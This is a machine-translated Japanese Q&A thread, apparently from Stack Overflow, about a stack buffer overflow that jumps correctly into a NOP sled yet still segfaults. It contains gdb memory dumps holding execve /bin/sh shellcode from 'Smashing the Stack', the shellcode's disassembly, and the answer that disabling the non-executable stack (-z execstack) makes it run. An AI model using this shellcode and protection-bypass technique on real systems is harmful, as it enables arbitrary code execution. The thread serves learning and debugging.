2016-04-09 12 views
1

hereのように、ポインタをmemcpyでカナリアを避けてバッファオーバーフローを実行しています。要するに、ポインタが指しているアドレスを、スタック内のRETのアドレスで上書きします。そのポインタにmemcpyして、効果的にRETを上書きします。バッファオーバーフロー:EIPとジャンプが正しく設定されているが、セグメンテーションが正しく行われない

gdbを使用して、NOPスレッド+シェルコード+ address_overwriteを正しく挿入します。 0xbffff52cのRETには、希望のアドレス0xbffff4c0が含まれていることがわかります。これはNOPスレッドに着陸します。

(gdb) x /32xw $esp 0xbffff470: 0xbffff52c 0x0804a008 0x00000004 0x00000000 0xbffff480: 0x000003f3 0x08048327 0x90909087 0x90909090 0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff4d0: 0x90909090 0x90909090 0x90909090 0xeb909090 0xbffff4e0: 0x76895e1f 0x88c03108 0x46890746 0x890bb00c (gdb) 0xbffff4f0: 0x084e8df3 0xcd0c568d 0x89db3180 0x80cd40d8 0xbffff500: 0xffffdce8 0x69622fff 0x68732f6e 0xbffff52c 0xbffff510: 0xbffff5a8 0xb7ff5990 0x0000008f 0xbffff5a8 0xbffff520: 0xb7fd1ff4 0x0804a008 0xbffff5a8 0xbffff4c0 0xbffff530: 0x0804a008 0x0804a008 0x0000008f 0x00000001 0xbffff540: 0x00000801 0x00000000 0xbfff0000 0x002001ac 0xbffff550: 0x000081a4 0x00000001 0x000004ad 0x000004ad 0xbffff560: 0x00000000 0x00000000 0xb7fd0000 0x0000008f

しかし、dissasembly私は良い上陸を示していても、私はエラー怒鳴るを取得し、これを実行しています。

Program received signal SIGSEGV, Segmentation fault. 
0xbffff4c0 in ??() 
(gdb) disas 0xbffff4c0, + 10 
Dump of assembler code from 0xbffff4c0 to 0xbffff4ca: 
=> 0xbffff4c0: nop 
    0xbffff4c1: nop 
    0xbffff4c2: nop 
    0xbffff4c3: nop 
    0xbffff4c4: nop 
    0xbffff4c5: nop 
    0xbffff4c6: nop 
    0xbffff4c7: nop 
    0xbffff4c8: nop 
    0xbffff4c9: nop 

以下にシェルコードを示します。など

0xbffff4df: jmp 0xbffff500 
    0xbffff4e1: pop %esi 
    0xbffff4e2: mov %esi,0x8(%esi) 
    0xbffff4e5: xor %eax,%eax 
    0xbffff4e7: mov %al,0x7(%esi) 
    0xbffff4ea: mov %eax,0xc(%esi) 
    0xbffff4ed: mov $0xb,%al 
    0xbffff4ef: mov %esi,%ebx 

...私は、Linuxシステムのために、Smashing the stack、付録Bからシェルコードを使用していました。何が間違っているのか理解できるように助けてくれますか?

+2

NX保護を無効にしましたか?デフォルトでは、スタックは実行可能ではありません。 – Jester

答えて

4

あなたはどのOSを使用しているのか、ターゲットプログラムをどのように構築したのかは言わなかった。

Linuxを想定していて、-Wl,-z,execstackがないと、現代のLinuxディストリビューションのデフォルトは-Wl,-z,noexecstackで、これは驚くべきことにスタックを非実行可能にします。

保護メカニズムの一部については、hereを参照してください。

+0

私はそんなにばかです!実行不可能なスタック障害を完全に逃しました。 -z execstackオプションを付けてコンパイルすると、そのトリックが実行されました。 ありがとう。 – npit

関連する問題